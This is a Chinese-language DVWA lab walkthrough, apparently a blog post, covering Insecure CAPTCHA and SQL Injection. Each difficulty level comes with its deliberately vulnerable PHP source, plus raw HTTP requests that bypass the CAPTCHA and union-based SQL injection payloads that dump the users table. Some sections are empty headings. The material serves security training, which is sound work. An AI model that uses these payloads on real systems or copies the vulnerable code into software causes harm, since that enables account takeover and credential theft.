1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_ext = substr ( $uploaded_name , strrpos ( $uploaded_name , '.' ) + 1 ); $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES [ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES [ 'uploaded' ][ 'tmp_name' ]; $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/' ; $target_file = md5 ( uniqid () . $uploaded_name ) . '.' . $uploaded_ext ; $temp_file = ( ( ini_get ( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir () ) : ( ini_get ( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5 ( uniqid () . $uploaded_name ) . '.' . $uploaded_ext ; if ( ( strtolower ( $uploaded_ext ) == 'jpg' || strtolower ( $uploaded_ext ) == 'jpeg' || strtolower ( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize ( $uploaded_tmp ) ) { if ( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg ( $uploaded_tmp ); imagejpeg ( $img , $temp_file , 100 ); } else { $img = imagecreatefrompng ( $uploaded_tmp ); imagepng ( $img , $temp_file , 9 ); } imagedestroy ( $img ); if ( rename ( $temp_file , ( getcwd () . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { echo "<pre><a href='{$target_path} {$target_file} '>{$target_file} </a> succesfully uploaded!</pre>" ; } else { echo '<pre>Your image was not uploaded.</pre>' ; } if ( file_exists ( $temp_file ) ) unlink ( $temp_file ); } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>' ; } } generateSessionToken ();?>
不安全的验证码(Insecure CAPTCHA)
若显示配置文件中缺少 reCAPTCHA API 密钥
请访问https://www.google.com/recaptcha/admin注册Captcha
获得密钥
把密钥复制到DVWA-2.5/config/config.inc.php中即可
Low
条件:
POST传参step代表步骤数,1是在过验证码,2是修改密码
解法:
直接BP抓包修改step值为2即可绕过验证码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /vulnerabilities/captcha/ HTTP/1.1 Host : 192.168.3.123:6123Content-Length : 55Cache-Control : max-age=0Origin : http://192.168.3.123:6123Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://192.168.3.123:6123/vulnerabilities/captcha/Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : security=low; PHPSESSID=7q4quk0lsphgghn3q35dtlnftlConnection : closestep =2 &password_new=111 &password_conf=111 &Change=Change
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php if ( isset ( $_POST [ 'Change' ] ) && ( $_POST [ 'step' ] == '1' ) ) { $hide_form = true ; $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; $resp = recaptcha_check_answer ( $_DVWA [ 'recaptcha_private_key' ], $_POST ['g-recaptcha-response' ] ); if ( !$resp ) { $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>" ; $hide_form = false ; return ; } else { if ( $pass_new == $pass_conf ) { echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new} \" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf} \" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>" ; } else { $html .= "<pre>Both passwords must match.</pre>" ; $hide_form = false ; } } } if ( isset ( $_POST [ 'Change' ] ) && ( $_POST [ 'step' ] == '2' ) ) { $hide_form = true ; $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $current_user = dvwaCurrentUser (); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . $current_user . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; $hide_form = false ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
Medium
条件:
增加了参数passed_capt,为true时允许修改密码
解法:
同上抓包修改即可
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php if ( isset ( $_POST [ 'Change' ] ) && ( $_POST [ 'step' ] == '1' ) ) { $hide_form = true ; $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; $resp = recaptcha_check_answer ( $_DVWA [ 'recaptcha_private_key' ], // 使用服务端私钥验证 $_POST ['g-recaptcha-response' ] // 客户端提交的验证码响应 ); if ( !$resp ) { $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>" ; $hide_form = false ; return ; } else { if ( $pass_new == $pass_conf ) { echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new} \" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf} \" /> <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <!-- 安全标记:已通过验证码 --> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>" ; } else { $html .= "<pre>Both passwords must match.</pre>" ; $hide_form = false ; } } } if ( isset ( $_POST [ 'Change' ] ) && ( $_POST [ 'step' ] == '2' ) ) { $hide_form = true ; $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; if ( !$_POST [ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>" ; $hide_form = false ; return ; } if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . dvwaCurrentUser () . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; $hide_form = false ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
High
条件:
验证过程不再分步,再次添加参数验证要求
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' // 硬编码密钥
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' // 特定User-Agent
解法:
1 2 3 4 5 6 POST /vulnerabilities/captcha/ HTTP/1.1 Host : 192.168.3.123:6123User-Agent : reCAPTCHACookie : PHPSESSID=mm8rugqi3lppj7n89krs00qgi3; security=highstep = 2 &password_new =123456 &password_conf =123456 &g -recaptcha-response = hidd3n_valu3&user_token =3e79 dca7f27f7ecf35dc165f2a5ae9a7& Change = change
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php if ( isset ( $_POST [ 'Change' ] ) ) { $hide_form = true ; $pass_new = $_POST [ 'password_new' ]; $pass_conf = $_POST [ 'password_conf' ]; $resp = recaptcha_check_answer ( $_DVWA [ 'recaptcha_private_key' ], // 服务端私钥 $_POST ['g-recaptcha-response' ] // 客户端验证码响应 ); if ( $resp || ( $_POST [ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER [ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' ) ){ if ($pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . dvwaCurrentUser () . "' LIMIT 1;" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { $html .= "<pre>Both passwords must match.</pre>" ; $hide_form = false ; } } else { $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>" ; $hide_form = false ; return ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } generateSessionToken ();?>
Impossible
防御手段:
Anti-CSRF token验证 PDO防御SQL 验证过程不分步 旧密码验证
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php if ( isset ( $_POST [ 'Change' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $hide_form = true ; $pass_new = $_POST [ 'password_new' ]; $pass_new = stripslashes ( $pass_new ); $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $pass_conf = $_POST [ 'password_conf' ]; $pass_conf = stripslashes ( $pass_conf ); $pass_conf = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_conf ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_conf = md5 ( $pass_conf ); $pass_curr = $_POST [ 'password_current' ]; $pass_curr = stripslashes ( $pass_curr ); $pass_curr = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_curr ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_curr = md5 ( $pass_curr ); $resp = recaptcha_check_answer ( $_DVWA [ 'recaptcha_private_key' ], $_POST ['g-recaptcha-response' ] ); if ( !$resp ) { echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>" ; $hide_form = false ; } else { $data = $db ->prepare ( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data ->bindParam ( ':user' , dvwaCurrentUser (), PDO::PARAM_STR ); $data ->bindParam ( ':password' , $pass_curr , PDO::PARAM_STR ); $data ->execute (); if ( ( $pass_new == $pass_conf ) && ( $data ->rowCount () == 1 ) ) { $data = $db ->prepare ( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data ->bindParam ( ':password' , $pass_new , PDO::PARAM_STR ); $data ->bindParam ( ':user' , dvwaCurrentUser (), PDO::PARAM_STR ); $data ->execute (); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>" ; $hide_form = false ; } } } generateSessionToken ();?>
SQL注入(SQL Injection)
关于注入时遇到的错误Illegal mix of collations for operation ‘UNION‘
在DVWA-2.5\dvwa\includes\DBMS\MySQL.php文件中搜索$create_db
将$create_db = "CREATE DATABASE {$_DVWA[ 'db_database' ]};";
修改为
$create_db = "CREATE DATABASE {$_DVWA[ 'db_database' ]} COLLATE utf8_general_ci;";
随后回到靶场地址/setup.php
下点击按钮Create / Reset Database
重新创建数据库即可解决
Low
条件:
无任何防御
解法:
采用SQL注入常规做法(联合注入)[请参考我SQL注入那篇文章SQL | Nanian233🍊’s Blog ]
找闭合符号(单引号1’)
判断列数order by 3 #
报错证明是2列
爆库1' union select 1,database() #
爆表1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆字段1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
爆字段数据1' union select group_concat(user),group_concat(password) from users #
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php if ( isset ( $_REQUEST [ 'Submit' ] ) ) { $id = $_REQUEST [ 'id' ]; switch ($_DVWA ['SQLI_DB' ]) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); while ( $row = mysqli_fetch_assoc ( $result ) ) { $first = $row ["first_name" ]; $last = $row ["last_name" ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } mysqli_close ($GLOBALS ["___mysqli_ston" ]); break ; case SQLITE: global $sqlite_db_connection ; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ';" ; try { $results = $sqlite_db_connection ->query ($query ); } catch (Exception $e ) { echo 'Caught exception: ' . $e ->getMessage (); exit (); } if ($results ) { while ($row = $results ->fetchArray ()) { $first = $row ["first_name" ]; $last = $row ["last_name" ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } } else { echo "Error in fetch " .$sqlite_db ->lastErrorMsg (); } break ; } } ?>
Medium
条件:
GET改POST提交,使用了转义(没卵用)
解法:
同Low
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $id = $_POST [ 'id' ]; $id = mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $id ); switch ($_DVWA ['SQLI_DB' ]) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id ;" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . mysqli_error ($GLOBALS ["___mysqli_ston" ]) . '</pre>' ); while ( $row = mysqli_fetch_assoc ( $result ) ) { $first = $row ["first_name" ]; $last = $row ["last_name" ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } break ; case SQLITE: global $sqlite_db_connection ; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id ;" ; try { $results = $sqlite_db_connection ->query ($query ); } catch (Exception $e ) { echo 'Caught exception: ' . $e ->getMessage (); exit (); } if ($results ) { while ($row = $results ->fetchArray ()) { $first = $row ["first_name" ]; $last = $row ["last_name" ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } } else { echo "Error in fetch " .$sqlite_db ->lastErrorMsg (); } break ; } } $query = "SELECT COUNT(*) FROM users;" ;$result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' );$number_of_rows = mysqli_fetch_row ( $result )[0 ];mysqli_close ($GLOBALS ["___mysqli_ston" ]);?>
High
条件:
使用了session 获取id 值
解法:
同Low
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php if ( isset ( $_SESSION [ 'id' ] ) ) { $id = $_SESSION [ 'id' ]; switch ($_DVWA ['SQLI_DB' ]) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ' LIMIT 1;" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>Something went wrong.</pre>' ); while ( $row = mysqli_fetch_assoc ( $result ) ) { $first = $row ["first_name" ]; $last = $row ["last_name" ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); break ; case SQLITE: global $sqlite_db_connection ; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ' LIMIT 1;" ; try { $results = $sqlite_db_connection ->query ($query ); } catch (Exception $e ) { echo 'Caught exception: ' . $e ->getMessage (); exit (); } if ($results ) { while ($row = $results ->fetchArray ()) { $first = $row ["first_name" ]; $last = $row ["last_name" ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } } else { echo "Error in fetch " .$sqlite_db ->lastErrorMsg (); } break ; } } ?>
Impossible
防御手段:
anti-CSRF token验证,检查id内容必须为整数, 使用prepare 预处理语句防止 SQL 注入。
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php if ( isset ( $_GET [ 'Submit' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $id = $_GET [ 'id' ]; if (is_numeric ( $id )) { $id = intval ($id ); switch ($_DVWA ['SQLI_DB' ]) { case MYSQL: $data = $db ->prepare ( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data ->bindParam ( ':id' , $id , PDO::PARAM_INT ); $data ->execute (); $row = $data ->fetch (); if ( $data ->rowCount () == 1 ) { $first = $row [ 'first_name' ]; $last = $row [ 'last_name' ]; echo "<pre>ID: {$id} <br />First name: {$first} <br />Surname: {$last} </pre>" ; } break ; case SQLITE: global $sqlite_db_connection ; $stmt = $sqlite_db_connection ->prepare ('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); $stmt ->bindValue (':id' ,$id ,SQLITE3_INTEGER); $result = $stmt ->execute (); $result ->finalize (); if ($result !== false ) { $num_columns = $result ->numColumns (); if ($num_columns == 2 ) { $row = $result ->fetchArray (); $first = $row [ 'first_name' ]; $last = $row [ 'last_name' ]; echo "<pre>ID: {$id} <br />First name: {$fi
SQL盲注(SQL Injection Blind)
Low
条件:
解法:
题目源码:
Medium
条件:
解法:
题目源码:
High
条件:
解法:
题目源码:
Impossible
防御手段:
题目源码:
弱会话(Weak Session IDs)
Low
条件:
解法:
题目源码:
Medium
条件:
解法:
题目源码:
High
条件:
解法:
题目源码:
Impossible
防御手段:
题目源码:
参考
DVWA靶场环境搭建+Phpstudy配置 - Test挖掘者 - 博客园
DVWA靶场通关教程 - 常青园 - 博客园
DVWA通关教程(上) - FreeBuf网络安全行业门户